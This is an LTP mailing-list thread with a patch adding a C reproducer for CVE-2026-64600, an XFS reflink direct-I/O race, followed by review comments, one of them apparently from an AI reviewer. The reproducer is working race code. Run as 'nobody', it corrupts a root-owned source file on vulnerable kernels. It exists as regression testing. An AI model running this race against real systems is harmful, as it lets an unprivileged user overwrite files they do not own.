[LTP] [PATCH] cve: reproducer for cve-2026-64600

[LTP] [PATCH] cve: reproducer for cve-2026-64600

[Andrea Cervesato]

From: Andrea Cervesato <andrea.cervesato@suse.com>

Reproducer for CVE-2026-64600 ("RefluXFS"), a race condition in the XFS
reflink copy-on-write path for direct I/O writes. The bug was introduced
in kernel v4.11 by commit 3c68d44a2b49 ("xfs: allocate direct I/O COW
blocks in iomap_begin") and fixed by commit 2f4acd0fcd86 ("xfs: resample
the data fork mapping after cycling ILOCK").

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
This reproducer has been created with the usage of Kimi K3 (as analyzer
and writer) and DeepSeek v4 Flash (Max) as reviewer, by taking the
RefluXFS technical paper as input:
https://cdn2.qualys.com/advisory/2026/07/22/RefluXFS.txt

On bugged kernel:

tst_test.c:2047: TINFO: LTP version: 20260529-131-gd12a6186b
tst_test.c:2050: TINFO: Tested kernel: 7.2.0-rc1-virtme #21 SMP PREEMPT_DYNAMIC Fri Jul 24 10:20:05 CEST 2026 x86_64
tst_kconfig.c:90: TINFO: Parsing kernel config '/lib/modules/7.2.0-rc1-virtme/build/.config'
tst_test.c:1875: TINFO: Overall timeout per run is 0h 00m 30s
cve-2026-64600.c:233: TFAIL: round 0: racing O_DIRECT write to the clone succeeded
[    1.252815] cve-2026-646
HINT: You _MAY_ be missing kernel fixes:

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2f4acd0fcd86

HINT: You _MAY_ be vulnerable to CVE(s):

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64600

Summary:
passed   0
failed   1
broken   0
skipped  0
warnings 0

On patched kernel:

tst_test.c:2047: TINFO: LTP version: 20260529-131-gd12a6186b
tst_test.c:2050: TINFO: Tested kernel: 7.2.0-rc1-virtme #20 SMP PREEMPT_DYNAMIC Fri Jul 24 10:08:53 CEST 2026 x86_64
tst_kconfig.c:90: TINFO: Parsing kernel config '/lib/modules/7.2.0-rc1-virtme/build/.config'
tst_test.c:1875: TINFO: Overall timeout per run is 0h 00m 30s
[    1.665909] clocksource: Watchdog remote CPU 2 read timed out
[    8.099229] cve-2026-64600 (249) used greatest stack depth: 12216 bytes left
cve-2026-64600.c:242: TPASS: Source file survived racing O_DIRECT writers

Summary:
passed   1
failed   0
broken   0
skipped  0
warnings 0
---
 runtest/cve                              |   1 +
 testcases/kernel/fs/xfs/.gitignore       |   1 +
 testcases/kernel/fs/xfs/Makefile         |   7 +
 testcases/kernel/fs/xfs/cve-2026-64600.c | 283 +++++++++++++++++++++++++++++++
 4 files changed, 292 insertions(+)

diff --git a/runtest/cve b/runtest/cve
index 3bbcfd6a2f2fb204fc6ae4ba89b5a7554c2fcbc5..388d471b9d138004207cdef5414e3e78d1980a32 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -100,3 +100,4 @@ cve-2026-43494 io_uring04
 cve-2026-46300 xfrm02
 cve-2026-46300-skb-segment xfrm03
 cve-2026-46331 cve-2026-46331
+cve-2026-64600 cve-2026-64600
diff --git a/testcases/kernel/fs/xfs/.gitignore b/testcases/kernel/fs/xfs/.gitignore
new file mode 100644
index 0000000000000000000000000000000000000000..2b287f6c1195c1307ee8629a282fc4d3f759e5ed
--- /dev/null
+++ b/testcases/kernel/fs/xfs/.gitignore
@@ -0,0 +1 @@
+/cve-2026-64600
diff --git a/testcases/kernel/fs/xfs/Makefile b/testcases/kernel/fs/xfs/Makefile
new file mode 100644
index 0000000000000000000000000000000000000000..699efd876f25cb3cd5d86dfe001404f8ebfc4d51
--- /dev/null
+++ b/testcases/kernel/fs/xfs/Makefile
@@ -0,0 +1,7 @@
+top_srcdir			?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+LDLIBS			+= -lpthread
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/fs/xfs/cve-2026-64600.c b/testcases/kernel/fs/xfs/cve-2026-64600.c
new file mode 100644
index 0000000000000000000000000000000000000000..0bca95f8f2ad31f0269de07625d28d733092ef49
--- /dev/null
+++ b/testcases/kernel/fs/xfs/cve-2026-64600.c
@@ -0,0 +1,283 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * Reproducer for CVE-2026-64600 ("RefluXFS"), a race condition in the XFS
+ * reflink copy-on-write path for direct I/O writes. The bug was introduced
+ * in kernel v4.11 by commit 3c68d44a2b49 ("xfs: allocate direct I/O COW
+ * blocks in iomap_begin") and fixed by commit 2f4acd0fcd86 ("xfs: resample
+ * the data fork mapping after cycling ILOCK").
+ *
+ * When an :manpage:`ioctl(2)` FICLONE clone is written via ``O_DIRECT``,
+ * ``xfs_direct_write_iomap_begin()`` samples the clone's data-fork mapping
+ * under ILOCK and calls ``xfs_reflink_allocate_cow()``, which drops the
+ * ILOCK to allocate a transaction and then re-checks whether the *stale*
+ * physical block is still shared. If a second racing ``O_DIRECT`` writer
+ * completes a full copy-on-write cycle inside that lock-drop window, the
+ * old shared block's refcount drops to one, the first writer takes the
+ * "not shared, write in place" branch, and its write is submitted to the
+ * physical block that now belongs only to the reflink source file,
+ * corrupting it on disk.
+ *
+ * [Algorithm]
+ *
+ * - Create a root-owned target file on a reflink-enabled XFS and fill
+ *   its first block with a known pattern
+ * - Drop privileges to the unprivileged user ``nobody``
+ * - Positive control: a single ``O_DIRECT`` write to a fresh clone must
+ *   be copy-on-written and leave the target untouched
+ * - Each round: reflink-clone the target into a scratch clone file and
+ *   release a barrier of threads, each issuing one block-sized
+ *   ``O_DIRECT`` :manpage:`pwrite(2)` at offset 0 of the clone
+ * - Background threads loop on write/fdatasync/truncate cycles to stall
+ *   transaction allocation on log space and widen the lock-drop window
+ * - After each round, read back the target's first block bypassing the
+ *   page cache (``O_DIRECT``): any byte differing from the original
+ *   pattern means a racing write refluxed into the source file and the
+ *   kernel is vulnerable
+ *
+ * Root privilege is regained in cleanup() so the library can unmount
+ * the loop device.
+ */
+
+#define _GNU_SOURCE
+
+#include <pwd.h>
+
+#include "tst_test.h"
+#include "tst_safe_pthread.h"
+#include "tst_safe_prw.h"
+#include "lapi/ficlone.h"
+
+#define MNTPOINT	"mnt"
+#define WORKDIR		MNTPOINT "/work"
+#define TARGET		WORKDIR "/target"
+#define CLONE		WORKDIR "/clone"
+#define SCRATCH_FMT	WORKDIR "/scratch%d"
+
+#define BLKSIZE		4096
+#define NWRITERS	32
+#define NPRESSURE	16
+#define MAX_ROUNDS	5000
+
+static char *tbuf, *wbuf, *rbuf;
+
+static int target_fd = -1;
+static int target_dio_fd = -1;
+static int clone_fd = -1;
+
+static pthread_t writers[NWRITERS];
+static pthread_t pressure_threads[NPRESSURE];
+static pthread_barrier_t barrier;
+static int barrier_initialized;
+static volatile sig_atomic_t stop_pressure;
+static int pressure_running;
+static int privileges_dropped;
+
+static void *writer_fn(void *arg)
+{
+	int fd;
+
+	(void)arg;
+
+	fd = SAFE_OPEN(CLONE, O_RDWR | O_DIRECT);
+
+	SAFE_PTHREAD_BARRIER_WAIT(&barrier);
+
+	SAFE_PWRITE(1, fd, wbuf, BLKSIZE, 0);
+	SAFE_CLOSE(fd);
+
+	return NULL;
+}
+
+static void *pressure_fn(void *arg)
+{
+	char path[PATH_MAX];
+	int fd;
+
+	snprintf(path, sizeof(path), SCRATCH_FMT, (int)(long)arg);
+
+	fd = SAFE_OPEN(path, O_RDWR | O_CREAT | O_TRUNC, 0600);
+
+	while (!stop_pressure) {
+		SAFE_PWRITE(1, fd, wbuf, BLKSIZE, 0);
+		SAFE_FTRUNCATE(fd, 0);
+		SAFE_FSYNC(fd);
+	}
+
+	SAFE_CLOSE(fd);
+
+	return NULL;
+}
+
+static void stop_pressure_threads(void)
+{
+	if (!pressure_running)
+		return;
+
+	stop_pressure = 1;
+
+	for (int i = 0; i < NPRESSURE; i++)
+		SAFE_PTHREAD_JOIN(pressure_threads[i], NULL);
+
+	pressure_running = 0;
+}
+
+static void drop_privileges(void)
+{
+	struct passwd *pw;
+
+	pw = SAFE_GETPWNAM("nobody");
+	SAFE_SETEGID(pw->pw_gid);
+	SAFE_SETEUID(pw->pw_uid);
+
+	privileges_dropped = 1;
+}
+
+static void restore_privileges(void)
+{
+	if (!privileges_dropped)
+		return;
+
+	SAFE_SETEUID(0);
+	SAFE_SETEGID(0);
+
+	privileges_dropped = 0;
+}
+
+static void setup(void)
+{
+	int probe_fd, probe_dio_fd;
+
+	tbuf = SAFE_MEMALIGN(BLKSIZE, BLKSIZE);
+	wbuf = SAFE_MEMALIGN(BLKSIZE, BLKSIZE);
+	rbuf = SAFE_MEMALIGN(BLKSIZE, BLKSIZE);
+
+	memset(tbuf, 'A', BLKSIZE);
+	memset(wbuf, 'X', BLKSIZE);
+	memset(rbuf, 0, BLKSIZE);
+
+	SAFE_MKDIR(WORKDIR, 0700);
+	SAFE_CHMOD(WORKDIR, 0777);
+
+	target_fd = SAFE_OPEN(TARGET, O_RDWR | O_CREAT | O_TRUNC, 0644);
+	SAFE_WRITE(1, target_fd, tbuf, BLKSIZE);
+	SAFE_FSYNC(target_fd);
+	SAFE_CLOSE(target_fd);
+
+	drop_privileges();
+
+	target_fd = SAFE_OPEN(TARGET, O_RDONLY);
+	probe_fd = SAFE_OPEN(CLONE, O_RDWR | O_CREAT | O_TRUNC, 0600);
+
+	TEST(ioctl(probe_fd, FICLONE, target_fd));
+	if (TST_RET == -1) {
+		if (TST_ERR == EOPNOTSUPP || TST_ERR == EINVAL || TST_ERR == ENOSYS) {
+			tst_brk(TCONF, "reflink clones not supported: %s",
+				tst_strerrno(TST_ERR));
+		}
+
+		tst_brk(TBROK | TTERRNO, "ioctl(FICLONE) failed");
+	}
+
+	probe_dio_fd = SAFE_OPEN(CLONE, O_RDWR | O_DIRECT);
+	SAFE_PWRITE(1, probe_dio_fd, wbuf, BLKSIZE, 0);
+	SAFE_CLOSE(probe_dio_fd);
+	SAFE_CLOSE(probe_fd);
+
+	/* The racy write bypasses the target's page cache, so must the read */
+	target_dio_fd = SAFE_OPEN(TARGET, O_RDONLY | O_DIRECT);
+
+	SAFE_PREAD(1, target_dio_fd, rbuf, BLKSIZE, 0);
+	if (memcmp(rbuf, tbuf, BLKSIZE))
+		tst_brk(TBROK, "Source file modified by a single O_DIRECT write to the clone");
+
+	SAFE_PTHREAD_BARRIER_INIT(&barrier, NULL, NWRITERS + 1);
+	barrier_initialized = 1;
+}
+
+static void run(void)
+{
+	int i, round, corrupted = 0;
+
+	stop_pressure = 0;
+
+	for (i = 0; i < NPRESSURE; i++)
+		SAFE_PTHREAD_CREATE(&pressure_threads[i], NULL, pressure_fn,
+				    (void *)(long)i);
+	pressure_running = 1;
+
+	for (round = 0; round < MAX_ROUNDS; round++) {
+		clone_fd = SAFE_OPEN(CLONE, O_RDWR | O_CREAT | O_TRUNC, 0600);
+
+		/*
+		 * target_fd is O_RDONLY opened as "nobody".  FICLONE
+		 * checks inode permission against our effective UID.
+		 */
+		SAFE_IOCTL(clone_fd, FICLONE, target_fd);
+		SAFE_CLOSE(clone_fd);
+
+		for (i = 0; i < NWRITERS; i++)
+			SAFE_PTHREAD_CREATE(&writers[i], NULL, writer_fn, NULL);
+
+		SAFE_PTHREAD_BARRIER_WAIT(&barrier);
+
+		for (i = 0; i < NWRITERS; i++)
+			SAFE_PTHREAD_JOIN(writers[i], NULL);
+
+		SAFE_PREAD(1, target_dio_fd, rbuf, BLKSIZE, 0);
+
+		if (memcmp(rbuf, tbuf, BLKSIZE)) {
+			tst_res(TFAIL, "round %d: racing O_DIRECT write to the clone succeeded", round);
+			corrupted = 1;
+			break;
+		}
+	}
+
+	stop_pressure_threads();
+
+	if (!corrupted)
+		tst_res(TPASS, "Source file survived racing O_DIRECT writers");
+}
+
+static void cleanup(void)
+{
+	stop_pressure_threads();
+	restore_privileges();
+
+	if (barrier_initialized)
+		SAFE_PTHREAD_BARRIER_DESTROY(&barrier);
+
+	if (target_dio_fd != -1)
+		SAFE_CLOSE(target_dio_fd);
+
+	if (target_fd != -1)
+		SAFE_CLOSE(target_fd);
+
+	if (clone_fd != -1)
+		SAFE_CLOSE(clone_fd);
+
+	free(tbuf);
+	free(wbuf);
+	free(rbuf);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_root = 1,
+	.mount_device = 1,
+	.mntpoint = MNTPOINT,
+	.filesystems = (struct tst_fs []) {
+		{.type = "xfs"},
+		{}
+	},
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "2f4acd0fcd86"},
+		{"CVE", "2026-64600"},
+		{}
+	},
+};

---
base-commit: d12a6186b60491cfa72e10944bd312e75b684c5e
change-id: 20260724-cve-2026-64600-53fd6d627d63

Best regards,
-- 
Andrea Cervesato <andrea.cervesato@suse.com>


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Mailing list info: https://lists.linux.it/listinfo/ltp

Re: [LTP] cve: reproducer for cve-2026-64600

[linuxtestproject.agent]

Hi Andrea,

On Fri, 24 Jul 2026, Andrea Cervesato wrote:
> cve: reproducer for cve-2026-64600

> diff --git a/testcases/kernel/fs/xfs/Makefile b/testcases/kernel/fs/xfs/Makefile
> new file mode 100644
> +top_srcdir			?= ../../../..
> +
> +include $(top_srcdir)/include/mk/testcases.mk
> +
> +LDLIBS			+= -lpthread
> +
> +include $(top_srcdir)/include/mk/generic_leaf_target.mk

Every existing standalone CVE reproducer named cve-<id>.c
(cve-2014-0196, cve-2016-7042, cve-2025-38236, cve-2026-46331, ...)
already lives under testcases/cve/, whose Makefile builds every
target from a wildcard and already carries per-target LDLIBS/CFLAGS
overrides (e.g. "-pthread" for other threaded reproducers), plus its
own .gitignore.

Is there a reason this one needs a brand-new
testcases/kernel/fs/xfs/ directory instead of adding
"cve-2026-64600: LDLIBS += -lpthread" to the existing
testcases/cve/Makefile?

Separately, this Makefile is also missing the
"SPDX-License-Identifier: GPL-2.0-or-later" + Copyright header that
every leaf Makefile is expected to start with.

> diff --git a/testcases/kernel/fs/xfs/cve-2026-64600.c b/testcases/kernel/fs/xfs/cve-2026-64600.c
> +	.filesystems = (struct tst_fs []) {
> +		{.type = "xfs"},
> +		{}
> +	},

testcases/kernel/syscalls/ioctl/ioctl_ficlone03.c's xfs entry sets
.min_kver = "4.16", .mkfs_ver = "mkfs.xfs >= 1.5.0" and .mkfs_opts =
{"-m", "reflink=1", NULL}, since reflink is only guaranteed once the
xfsprogs version/format enables it. Here the xfs entry has none of
that. On a system where mkfs.xfs does not default to reflink=1,
would setup() just TCONF through the EOPNOTSUPP/EINVAL/ENOSYS branch
instead of exercising the race, or is the plain default considered
reliable enough these days?

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

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Mailing list info: https://lists.linux.it/listinfo/ltp

Re: [LTP] cve: reproducer for cve-2026-64600

[Cyril Hrubis]

Hi!
> > diff --git a/testcases/kernel/fs/xfs/Makefile b/testcases/kernel/fs/xfs/Makefile
> > new file mode 100644
> > +top_srcdir			?= ../../../..
> > +
> > +include $(top_srcdir)/include/mk/testcases.mk
> > +
> > +LDLIBS			+= -lpthread
> > +
> > +include $(top_srcdir)/include/mk/generic_leaf_target.mk
> 
> Every existing standalone CVE reproducer named cve-<id>.c
> (cve-2014-0196, cve-2016-7042, cve-2025-38236, cve-2026-46331, ...)
> already lives under testcases/cve/, whose Makefile builds every
> target from a wildcard and already carries per-target LDLIBS/CFLAGS
> overrides (e.g. "-pthread" for other threaded reproducers), plus its
> own .gitignore.
> 
> Is there a reason this one needs a brand-new
> testcases/kernel/fs/xfs/ directory instead of adding
> "cve-2026-64600: LDLIBS += -lpthread" to the existing
> testcases/cve/Makefile?

I would say that the file should be called reflux-xfs.c instead. I would
like to avoid the filenames with cve and numbers since they are hard
easy to confuse with each other.

-- 
Cyril Hrubis
chrubis@suse.cz

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Mailing list info: https://lists.linux.it/listinfo/ltp

Re: [LTP] cve: reproducer for cve-2026-64600

[Andrea Cervesato via ltp]

Hi Cyril,

> I would say that the file should be called reflux-xfs.c instead. I would
> like to avoid the filenames with cve and numbers since they are hard
> easy to confuse with each other.

that's ok. should I move it under cve/ folder instead? Maybe having a
xfs/ directory is a bit an overkill.

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

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Re: [LTP] cve: reproducer for cve-2026-64600

[Cyril Hrubis]

Hi!
> > I would say that the file should be called reflux-xfs.c instead. I would
> > like to avoid the filenames with cve and numbers since they are hard
> > easy to confuse with each other.
> 
> that's ok. should I move it under cve/ folder instead? Maybe having a
> xfs/ directory is a bit an overkill.

That would work as well, we have a couple of named CVEs in there too.

-- 
Cyril Hrubis
chrubis@suse.cz

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